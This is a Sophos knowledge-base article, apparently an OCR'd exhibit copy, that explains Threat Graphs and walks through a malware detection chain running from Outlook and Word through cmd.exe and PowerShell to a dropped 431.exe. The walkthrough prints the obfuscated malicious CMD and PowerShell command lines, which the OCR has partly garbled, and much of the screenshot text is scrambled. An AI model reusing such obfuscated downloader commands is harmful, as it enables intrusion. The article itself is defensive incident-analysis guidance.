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Threat Graphs examples: Malware detections

KB-000036359 Feb 27,2023 0 people found this article helpful

English v

Overview

This article provides examples of Sophos Threat Graphs (previously called Threat Cases) that have been automatically created due to a malware detection. The purpose of
a threat graph is to help admins understand what happened on the affected computer before the detection occurred. Using this information can help you understand
ongoing infections, as well as how to further improve your security against similar attacks in the future.

Please note this article only applies to customers licensed to use Sophos Central Intercept X (CIX) or Sophos Endpoint Detection and Response (XDR).

This article is part of a series of example Threat Graphs. The start of each article includes a detailed description of all the different sections in a Threat Graphs, if you are
already familiar with this information, we suggest you skip to the Example Threat Graphs walkthroughs at the bottom. For more information, see the Related information
section.

The following sections are covered:

e Whatis a Threat Graph?

o Simplified events chain

o Summary

o Suggested next steps

o Analyze

o Artifacts

o Create forensic snapshot

o Exportto CSV

o Threat Intelligence
= |ntercept X without XDR
= |Intercept X with XDR

o Clean and block

o Case record

e Example Threat Graphs walkthroughs
o Deep learning detection: ML/PE-A

= Security improvement options
« Related information

Product and Environment

« Sophos Intercept X
« Sophos Endpoint Detection and Response
« Sophos Central Admin

What is a Threat Graph?

Threat Graphs are automatically created after a malicious detection occurs. The purpose of these is to help an admin understand what happened before the detection
occurred. For example, a detection on a Microsoft Word file could have generated a Threat Graph that shows this file was written to the computer by Outlook.exe,
indicating that the user received and opened a malicious attachment on an email. With this information, you may be able to identify gaps in your security that could be
improved.

Note:
Threat Graphs are only created for malicious detections; this does not include detections for PUAs, Application Control, Device Control, Web Control. Additionally, if
Sophos Central cannot automatically confirm a root cause, a Threat Graph may not be generated.

Threat Graphs can be found by signing in to the Sophos Central Admin console and clicking the Threat Analysis Center: SOphOS Ex. 1 01 6
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SOPHOS5 Threat Analysis Center - Threat Graphs

Overview | Threat Analysis Center Dashboard

Sophos generated Admin generated

& Threat Analysis Center

Device: AlL - Status: All w Priority- All w

Dashboard

&\ Threat Graphs

The most recent Threat Graphs are displayed at the top of the Dashboard page:

Threat Analysis Center - Threat Graphs

Overview | Threat Analysis Center Dashboard

Sophos generated Admin generated

Device: All « Status: All v Priority: All w
O =LElUs Time Pricrity
O New Oct 14, 2021 6:07 PM Low

To view a Threat Graph click on the detection Name.

Simplified events chain

At the top of every Sophos Central-generated threat graph (excludes Admin generated), you will see the simplified events chain. This gives you the very basic details of
what happened.

Summary

Every Threat Graph will have a Summary section that displays the basic information. This includes the detection name, root cause, possible data involved, the user and
device name, and when the detection happened. Depending on the detection, there may be additional information shown.

Summary

Mal/Generic-S

WIN7 WINT \worker

Suggested next steps

This section provides automated advice on the possible next actions you can take. The advice displayed is dependent on the type of detection and the information that
was collected. It includes the ability to set the priority and status of the record for this Threat Graph, this is covered in more detail later. For Sophos XDR customers, you
will have the additional option to isolate this computer. For more information on computer isolation please see Sophos Central - Computer Isolation Overview (KB-
000038424)
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Suggested next steps

a status for the threat case

l Priority: Medium l ’ Status: In progress ¥

h an "uncertain” reputation.

Isolate this computer while you investigate @

Scan the computer

Analyze

The Analyze tab contains the majority of the Threat Graph information. Here you will be presented with a graph of what Sophos has detected, which is referred to as the
Beacon, and what we have determined was the Root Cause. The Beacon and Root Cause will be linked by a chain of events that is known as the attack chain. Below is an
example attack chain:

Analyze Case record

Filters: Processes Files MNetwork connections Registry keys Show full graph -

(]
'_IllfFi.ss

/ .
= 14 Registry keys
= 4 s —
Q 3 PN .
45 Regifyiptagiver he'st for 32bit applications 'L'?’J e E, : =y I_
— £ Y 2Files
. E & Ig
D V-H--HH a 0 80 Files
=T =] —— paren

1IF Addresses

. - |
i) - dows Commepg Processor
— e ang
o

V&
75 Registry keys rgnr-avrl11205-85.doc Nicrcz:j{f Df"\af 2007 g
\_"'i Windows Com 'ns|:\.'l Brocessor .
\E
\ (ki
b 12 Fil
13 Files
* (e
2 Fi 12 Files
2Files 337 Files

o Root Cause %) Beacon OUncel‘tain

Attack chains include several different icons to help you quickly identify what happened and the most suspicious events to investigate.

Icon Description
. Root cause
L}
Beacon
0 Uncertain reputation
0 Bad reputation
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Allowed application

Network drive

7

d Peripheral
o

an A process

D LD Afile(s)

Aregistry key

An IP address

AURL

A Domain

An email client

A document editor

B

A browser

By clicking on an event in the attack chain, a menu on the right-hand side will be displayed, this will include additional information and options for that event. For
example, in the picture below, we have selected a file called 431. exe. In the right-hand menu, we can see the path of this file.

The information and options provided are covered in more detail later, in the Threat Intelligence section.

Artifacts

c\users\worker\appdata\local\temp\431.

p ]
Other file details
Path:
exe
Name: 431exe

All of the information provided in the attack chain graph is also listed in a table. This can be found below the graph on the Analyze tab. The items in the table are referred
to as Artifacts. By selecting artifacts their additional information is displayed in the right-hand menu. You can also search the artifacts list and use the filter options to
help your investigation.

o Root Cause

Q

Beacon @) Uncertain

rgnr-avr111205-85 doc Microsoft CKEE 2

D

335Files

Windows Command Processor

o3

Print driver host for h\zmt applications

Windows Comm|and Processor

D

13 Files

L

ﬂ‘:\*L[

Microsoft Howerghell

Name

powershellexe

cmd.exe

cmd exe

Q

Type

Pracess

Process

Pracess

Reputation

Good

Good

Good

=

me loggea

Nov 14, 2018 11:25 AM

Nov 14, 2018 11:25 AM

Nov 14, 2018 11:24 AM

Creste forensic snapsh

nteractions

101

13

13

@ ExorttoCsy
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Analyze Case record

[Filters: Processes Files Metwork connections Registry keys I

Create forensic snapshot

The ability to create Forensic Snapshots means that customers with Sophos XDR can request endpoints to generate a snapshot on demand so that you can perform a
detailed analysis on an endpoints activity. To analyze the snapshot, you will need to convert it into a usable format using a tool that we provide. For more information,
see Sophos Intercept X Advanced with XDR: Help with Forensic Snapshots (KB-000038358)

Export to CSV

The export to CSV option is available in the top right of the artifacts list. It will export all the event information including file names, paths, registry keys, PIDs, SHA-256
and other information. Below is an example of exported CSV data in Microsoft Excel.

B & D E F G H

1 |Name Type Start Date Time End Date Time Pid Path Is Business File SHA256 Hash

2 |outlook.exe process 2018-11-14T11:24:417 3840 c:\program files (x86)\microsoft office\officel2\outlook.exe Ocalc4acd82b9265:
3 |winword.exe process 2018-11-14T11:24:562 1720 c:\program files (x86)\microsoft office\office12\winword.exe 6c353cfh001fbba0C
4 splwowsd.exe process 2018-11-14T11:24:587 3544 c:\windows\splwow64.exe 232f4854a70cfa982
5 |cmd.exe process 2018-11-14T11:24:59Z 3488 c:\windows\syswow64\cmd.exe 17f746d82695fa9b3
6 |cmd.exe process 2018-11-14T11:25:002 1588 c:\windows\syswow64\cmd.exe 17f746d82695fa9b?
7 |powershell.exe process 2018-11-14T11:25:01Z 1484 c:\windows\syswow64\windowspowershell\v1.0\powershell.exe 6c05e11399b7e3c8
8 |rgnr-avrl11205-85.doc path c:\users\worker\appdata\local\microsoft\windows\temporary int TRUE

9 |431.exe path c:\users\worker\appdata\local\temp\431.exe FALSE

Threat Intelligence

By selecting events in the analyze graph the right-hand menu will be displayed providing additional information. If you select the root cause, beacon, or any of the
processes, you will be presented with SophosLabs Threat Intelligence information.

Note:
The information provided to customers using Intercept X is limited compared to customers who additionally have XDR. For this reason, the sections below have been split
into two categories:

* Intercept X without XDR
« Intercept X with XDR

For more information, please see Intercept X Advanced with XDR (https:/www.sophos.com/medialibrary/PDFs/factsheets/intercept-x-edr.pdf)

Intercept X without XDR

For any processes that ran and are displayed in the attack chain, you will have additional options available to you in the right-hand menu when you select the process in
the graph. These options are also available for the beacon event. For example, below we have selected the root cause event, which has already been identified as the
browser Internet Explorer. On the right-hand menu we can see the reputation of the file at the point the threat graph was generated, as well as information such as the
filename, path, SHA-256 hash, when the file was run, and for how long.

Sophos Ex. 1016
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p
Process details

Reputation at time case was Good
created:

SOPHOSLABS Threat Intelligence

Request latest intelligence

Mo current intelligence on this file.

Mote: Requesting the latest intelligence will cause your files to be
sent to Sophos for additional analysis. Learn More

Path: c\program files\internet exploreriiex
plore_exe
Mame: iexplore. exe

Command line:

.

"C:\Program Files\Internet

11 URLs Explorer\IEXPLORE.EXE"
Process ID: 2448
Process executed by: SOPHOS-CLIENT\Sophos User
SHA256:
faa@71f17al42ebd551Bebb3chbaf0f0c264adf43644dBecfOT2440
048620d07
Start Time: Mov 13, 2018 11:56 AM
End time: MNov 13, 2018 12:00 FM
Duration: 4m 43s

By selecting the Request Latest Intelligence button, the file will be submitted to SophosLabs. This will result in a report being generated a couple of minutes later and
additional information being displayed. Below is an example of a SophosLabs Threat Intelligence report for a Sophos Intercept X customer (without XDR).

Sophos Ex. 1016
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v

Process details : pskilL.exe
Reputation at time case was created: Uncertain

Known bad reputation Known good reputation
Detection status: Mot detected at time case was created

You should investigate this item to determinge whether it is harmful.
SOPHOSLABS Threat Intelligence

Current report created: Nov 7, 2018 110 PM

Request latest intelligence

Mote: Requesting the latest intelligence will cause your files to be sent to Sophos for additional analysis. Leamn More

Global reputation

b
Known bad reputation Known good reputation
Prevalence: Popular
First seen: Jull, 2016 11:52 AM
Last seen: Jull, 2016 11:52 AM

Looking for additional insight?
Learn more about Intercept X with EDR

Path: pskillLexe
Name: pskillexe
Command Line: pskill exe —params 'some params’
Process ID: 2320
Process executed by: BobTheBuilder
SHA256: 546ec58d0134ea64611e12d7e3aB67T93e8cbB1 45501 87453494086 0fc2fabe
Start Time: Oct 3, 2016 11:04 AM
End time: Oct 3, 2016 11:04 AM
Duration: 10s 163ms
Intercept X with XDR

Customers licensed for Sophos XDR benefit from several additional features. One of these is the detailed SophosLabs Threat Intelligence reports. These reports provide
you with a more in-depth analysis of the file, which can help you decide if the file is malicious or clean. Full details of what is available in these reports can be found
here Sophos Central: Threat intelligence overview (KB-000038426)

Below are some examples.

Sophos Ex. 1016
Page 7 of 15


https://support.sophos.com/support/s/article/KB-000038426

Process details  Report summary [RGERTGEREEGGELEREEME  File properties

SOPHOSLABS Threat Intelligence
Current report created: Mov 15, 2018 4:21 PM

Attributes : 71% Suspicious

Analyzed over 29 million known good and over 15 million known bad items

File breakdown

Attribute Seenin: Known bad files Known good files
. 147 Bk 223 .0k
Can create temporary files: "GetTempPathA"
B61.8k 2539k
Compilers: "Microsoft Visual C++ v6.0"
306 12
Compilation Date: “2011-Jan-31 17:44:13"
554 2k 916.1k
['] The program may be hiding some of its imports: "Lo...
665.9k 12M

['] The program may be hiding some of its imports: "Ge...

Code similarity : 84% Suspicious

Analyzed over 30 million known good and over 29 million known bad items

@ uninstall.exe

@ Mo file name 44%
© uninstallexe 34%

O uninstall-lexe 34%

O uninstallexe 28%

O uninstlexe 28%

© uninstalexe 25%

Sophos Ex. 1016
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Process details  Report summary  Machine learning analysis  File properties JREIERIGEE 0]

SOPHOSLABS Threat Intelligence
Current report created: Mov 15, 2018 4:21 PM

Certificate details

Signature verification:

PE file sections
Name Entropy
text 6.3
rdata 46
.data 25

.gentee 80

rsrc 73
PE imports

> KERMEL32.dlL

2 USER3Z2dll

2> MSVCRT.dLL

Clean and block

Unsigned
Virtusl sadress Virtusl size
0x1000 Oxeac
0x2000 Dx488
0x3000 0x560
0x4000 0xf560
0x14000 0x8fal

Physical egdress

0x1000

0x2000

0x3000

0x4000

0x14000

Physical size

0x1000

0x1000

0x1000

0x10000

0x3000

Properties

R-X

R--

RW-

Sophos customers licensed for XDR are able to use the clean and block feature. This allows you to immediately detect and remove potentially malicious files from every
Sophos-protected computer in your environment. This feature is currently limited to PE files that have an uncertain or bad reputation.

(‘0 /v&/ Process details : uninstall.exe

%)

>

Download PDF

Search Clean and block

Report summary Machine learning analysis  File properties File breakdown

Reputation at time case was created:

v

Uncertain

Known bad reputation

Known good reputation

Any PE file that has an uncertain or bad reputation that is marked for Clean and block, will be added to the Blocked items list in Global Settings.

Case record

A case record is created for every threat graph. It can be used by admins to add comments about the investigation. This can be useful if you have multiple admins looking
at a threat graph and wanting to record notes.

Sophos Ex. 1016
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Analyze Case record

XL Administrator = Nov 15, 2018 11:28 PM

Started work on this case.

AL Administrator + Nov 15, 2018 11:28 PM

Marked as high priority.

45 Nov 15,2018 12:38 PM

Created case.

Example Threat Graphs walkthroughs

In the next section, we will take real Threat Graphs that show different types of malware detections. Using the information provided, we will investigate what additional
actions could be taken to further improve your security. Please note that many real-world threat graphs will not necessarily provide options to improve your security. They
can also just act as a record of what happened.

Deep learning detection: ML/PE-A

After clicking on the new threat graphs for an ML/PE-A detection we are presented with the simplified events chain. In this example, it shows the computer WIN7 had the
route cause of the email client Outlook.exe and a beacon event on a file called 431. exe, this file was detected on November 14th and cleaned.

Endpoint Protection - ML/PE-A

Overview /| Endpoint Protection Dashboard | Detected Threat Cases

05 = 5 0D -5 O

WINT @ Root Cause @ Beacon Detected Cleaned

10.0.0.5 Outlook.exe 431.exe Nov 14, 2018 11:25 AM

Looking at the analyze attack chain graph below we can see several events linking the root cause - Outlook on the left-hand side, to the beacon event - 431.exe on the
right. We can also see that the beacon file also has an uncertain reputation.

Sophos Ex. 1016
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Analyze Case record

Filters: Processes Files Network connections Registry keys Show full graph v

45 Regfstry keys

: D

%‘335 Files

- parent to
3 o
4/,’.3“{,/ ¥r. Windows C and P r i,
D Microsoft O > Windows Command Processo Microsnft%wshel oz
S
2,

rgnr-avr111205-85 doc D

7 Files LD 11P Addresses
s

Vrite

<]
°

Ouf DDkw‘

Windows Command Processor

Em

11 Files
85 Files

o°
e T |D

Print driver host for 32bit...

11Files

Before we dig any deeper into this, let us get a better overview of what happened, we can select the Show direct path option from the drop down menu on the right-hand
side.

Show full graph v

Show direct path
% Show full graph

14 Regpstry keys

D

¥ Files

'roCessor

This hides most of the events leaving only the ones that directly link the root cause to the beacon. It is now easy to see that Outlook wrote a word document called rgnr-
avrl11205-85.doc. We can also see that Outlook launched a Microsoft Office application, which read the doc file.

e_0

.
D Ty, et B0 — ey, sy D

el ) I
D ! Microsoft Office 2007 Q: Windows Command Processor ﬁ: 431 exe

v parent to . -
L =
Outlook

rgnr-avr111205-85.doc Windows Command Processor Microsoft Powershell

We can already see that the Microsoft Office event does not have a reputation icon, which means it has a good reputation.
Note: Reputation is only calculated for Portable Executable (PE] files, for example .exe, .d11.Itis not shown for other file types such as .doc, .pdf, .png.

By selecting the Microsoft Office event, we can see that SophosLabs Threat Intelligence information is already available and confirms that it does have a good reputation.
We can also see the path and name of the file indicate this is the Microsoft Word application.

Sophos Ex. 1016
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Process details : winword.exe

v parent to
< —* o5
\‘ [ G B Report summary  Machine learning enalysis — File properties  File breakdown
¥ .
Outlook D Microsoft Office 2007 1
Reputstion at time case was created: Good
rgnr-avr111205-85.doc Windows Com -
Known bad reputation Known good reputation

SOPHOSLABS Threat Intelligence
Current report created: Oct 15, 2018 10:45 AM

Request latest intelligence

Mote: Reguesting the latest intelligence will cause your files to be sent to Sophos for additionsl anslysis. Learn More

Path: c:\program files (x86)\microsoft office\officel2\winword.exe

Name: winword.exe

For customers using Sophos XDR, we can also see that on the File breakdown tab the file is signed by Microsoft. We could look at the other tabs to further verify the
legitimacy of this file. However, it is clear this is the real Microsoft Word application.

Process details : winword.exe

S parent to
M farg P detail: R Machine i 1 Fils File breakd;
. ‘/ \. rocess details eport summary iachine learning analysis ile properties ile breakdown
ped- .
Microsoft Office 2007

Outlook D 1
SOPHOSLABS Threat Intelligence
rgnr-avr111205-85 doc Windows Com  Current report created: Oct 15, 2018 10:45 AM

Certificate details

Signature verification Signed
Signing date: Mot available
Signed by: Microsoft Corporation

Microsoft Code Signing PCA
Microsoft Root Authority
This tells us the user most likely received an email with the word document attached and that they opened the attachment. Let us look at the next event.

We can see that Microsoft Office launches Windows Command Processes (CMD), again by selecting this event we can see it has a good reputation and we are happy this
is the legitimate version of CMD. exe. What is suspicious though is the command line information it was launched with.

Process details : cmd.exe

Report summary  Machine learning analysis  File properties  File breakdown

'up Reputation at time case was created: Good
=~ et O =
Microsoft Office 2007 Windows Command Pro¢  Known bad reputation Known good reputation

Windows Command Processor

SOPHOSLABS Threat Intelligence
Current report created: Oct 30, 2018 4:41 PM

Request latest intelligence

Note: Requesting the latest intelligence will cause your files to be sent to Sophos for additional analysis. Learn More

Path: c\windows\syswowG4\cmd.exe

Name. cmd exe

Command line: CMD /¢ Cmd /C "sEt Dly=38230C =[CHaR[]] ") )93]rAHC[,)84]rAHC[+701]rAHC[+28]r...
seeall

By selecting the see all link we can see the full command.

Sophos Ex. 1016
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CMD /c Cmd /C "sEt Dly=58230C =[CHaR[]] ")
193]rAHC[,)84]rAHC[+701]rAHC[+28]rAHC[(Ecal PErC- 63]rAHC(,'Q8h" EcalPErC-
421]rAHC[)99]rAHC[+411]rAHC[+201]rAHC[( EcaLPErC-'nOi'+'ss'+'eR'+ pXE-ekOVNI '+'crf)
(Dn'+'eoTda+ER.)+])+il'+-'cS'+ A"+ ]Gn'+|DoCNE'+ xE'+'t'+ mE+T'+'s'~Y5[ , "= _Q8h'+
+'(REDA'+'ErmAe'+r'+'t'+'5.0l +' TcEJBO-WEn ['+ tC'+'E'+jBO'+'-hcAe'+~ Ro'+'f '+'crf'+'
)'+'s'+'SERp'+'M'+'0'+ CED'+"'+'|EdOm’'+'NolS'+ SErp™+'m'+'0'+'c.noiss '+ erPmoc’+" Oi[,
+)'+'0kR'+'=="+'wfOgt’

Close

Looking at this code, you will most likely not have any idea what it is designed to do. However, that is exactly the idea. This is a heavily obfuscated bit of code. Obfuscation
is very typical in malicious code and is designed to hide the true goal behind the code as well as make it harder for security software to analyze. We may not know what it
is doing but we are certain it is very suspicious.

We can also see that when CMD was launched it then launched another copy of CMD, this one with a similar suspicious command line.

Process details : cmd.exe

Report summary  Machine learning analysis  File properties  File breakdown

Reputation at time case was created: Good

[ ——
Dare, "
ent 12 Paren; to Known bad reputation Known good reputation

c.g Windows Command Processor -ﬁg

ommand Processor Microsoft Powershell

SOPHOSLABS Threat Intelligence
Current report created: Oct 30, 2018 4:41 PM

Request latest intelligence

Mote: Requesting the latest intelligence will cause your files to be sent to Sophos for additional analysis. Learn More

Path: c\windows\syswowB4\cmd. exe

Name: cmd.exe

Command line: Cmd /C "sEt Dly=58230C =[CHaR[]] ") 193]rAHC[)84]rAHC [+701]rAHC [+28]rAHC[[E..
seeall

Process ID: 1588

This second CMD is used to launch Microsoft Powershell.
Process details : powershell.exe

Report summary  Machine learning analysis  File properties  File breakdown

e_0 Reputation at time case was created: Good

ﬁg .Uare”r to D v

mmand Processor 431 exe Known bad reputstion Known good reputation

Microsoft Powershell

SOPHOSLABS Threat Intelligence
Current report created: Oct 30, 2018 3:09 AM

Request latest intelligence

Mote: Requesting the latest intelligence will cause your files to be sent to Sophos for additional analysis. Learn More

Path: c\windows'\syswowB4\windowspowershell\vl.0\powershell.exe
Name: powershell.exe
Command Line: PowERshelL SEt-iEm ('V' + 'ARiAb'+'LE:SKeAil’) | [TYPe]{ V'[2}{3H1HO]. -see all

We can also see that PowerShell has been launched with an obfuscated and very suspicious command line.

Sophos Ex. 1016
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PowERsheLl SEt-ltEm ('V' + "ARiAb'+'|E:SKeAil') { [TYPe]{ \"{2H{3H1HON"-F't,'n", ENvIRon’, ' ME" | ) ;
A1) (O T4AHOHTHANGHZH3H6) -FB,E:E 'co’ NteX', VarlA', XEcUTiOn", t','l')

JA"Val UEY"\'iIN'VO 'k eCom MANAY".( \"[3H{1HZHON" - ipT",'oke’,'SCr','inv’ ) Invoke( { $[sK'E"AiL]::
(\{OM4HIH2]5H31" -f'get’,ONMeNt'v','E"'Envir', 'arlaBL’) Invoke( ‘DiY",(\"[1}{O]\"-f's’,'PrOCeS" )} )

PowerShell has then written the 431. exe file which was detected by Sophos Deep Learning as ML/PE-A.

By selecting the beacon event we can see confirmation that it has an uncertain reputation, as well as that it was written to the user's AppData location, this location is
typically meant for data not executables so this is also suspicious.

Other file details : 431.exe

[FEEEL S ETEM  Report summary Machine learning analysis  File properties File breakdown
Reputation at time case was created: Uncertain reputation
w
B
Known bad reputation Known good reputation

Microsoft Powershell

SOPHOSLABS Threat Intelligence
Current report created: Nov 14, 2018 11:31 AM

Request latest intelligence

Mote: Requesting the latest intelligence will cause your files to be sent to Sophos for additionsl analysis. Learn More

Path: c\users\worker\appdata\local\temp\431 exe

Name: 431 exe

Important: Customers who are not using Sophos XDR, you will only see the one Process details tab.

For customers using Sophos EDR, by pressing the Request latest intelligence button, the file will be retrieved out of the Sophos quarantine and submitted to SophosLabs.
A couple of minutes later the four other tabs (Report summary, Machine learning analysis, File properties, File breakdown) pictured will be displayed. The purpose of these
additional tabs is to help display the various properties of the file in a simple way. This can be useful for various reasons, one of them is to feel confident that the file is
indeed malicious and not something you want in your environment. For more information on SophosLabs Threat Intelligence, see: Sophos Central: Threat intelligence
overview (KB-000038426).

Now that we understand that the file was malicious and that it came from an email, which then used Microsoft Word, CMD and Powershell to execute the attack chain, we
can decide what could be done to help prevent this type of attack happening again.

Security improvement options

Firstly a spam email with a malicious attachment got into your network, which means it got past any email spam scanning software you have, as well as avoiding
detection for the malicious word document. Regularly reviewing your email security policies to ensure you are following best practices and using the latest protection is
recommended. If you are not already a customer we recommend the Sophos XG firewall (https:/www.sophos.com/products/next-gen-firewall.aspx) to handle your
email protection, combined with Sophos Sandstorm to add the protection of a sandbox environment to safely execute potential email threats before they enter your
environment.

You also have a user that opened the suspicious word document on the spam email. With better user education this potentially could have been avoided. Sophos Phish
Threat (https:/www.sophos.com/products/phish-threat.aspx] allows you to create realistic email phishing campaigns to send to your users. Tracking which users fall
for the spam email and directing them to training material.

The next layer of protection you could look at is using Sophos Application Control (KB-000035468), which is already included in all Sophos Central Endpoint and Server
Advanced licenses, as well as Sophos Intercept X Advanced with EDR. With Application Control you could choose to block your users for running specific applications.
While you are unlikely going to stop them from running Microsoft Word, do they really need to be able to run Powershell? This could be blocked with Application Control.

If you were concerned that the computer was still infected, or just wanted to be safe until you had spoken to the user. You could use the Isolate this computer option in
the Suggested next steps section. This would disable all TCP and UDP traffic on the computer other than communication to Sophos. For more information on computer
isolation please see: Sophos Central - Computer Isolation Overview (KB-000038424)

If you would like to look at other Threat Graphs examples, please see the links in the Related information section below. You can also use the community forum
(https://community.sophos.com/products/malware/] to post questions about any threat graphs you have and would like advice on.
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https://support.sophos.com/support/s/article/KB-000038426
https://www.sophos.com/products/next-gen-firewall.aspx
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https://support.sophos.com/support/s/article/KB-000038424
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Related information
Sophos Central Admin: Overview of Threat Graphs (KB-000036336)

Sign up for the Sophos Support Notification Service (https://centralstatus.sophos.com/smscodeverification) to receive proactive SMS alerts for Sophos products and

Sophos Central services.

Was this useful?

s Yes 1® No

Want to leave us some feedback?
Please visit the Product Documentation Feedback (https:/community.sophos.com/product-documentation/i/feedback)

RELATED ARTICLES
Sophos Central Admin: Overview of Threat Graphs (/support/s/article/KB-000036336) ® 660
Sophos Endpoint Security and Control: Resolve malware detection on pagefile.sys or hiberfil.sys (/support/s/article/KB-000037996) ® 1.27K
Sophos Central: Expected Threat Graph behavior for Cryptoguard or Malicious behavior detection alerts (/support/s/article/KB-000044022) ® 201
Sophos Central Admin: Cleanup of Malware or PUA (/support/s/article/KB-000039039) ® 629
Sophos Anti-Virus: Remove malware threats, adware, or potentially unwanted application (PUA) (/support/s/article/KB-000033966) ® 152K
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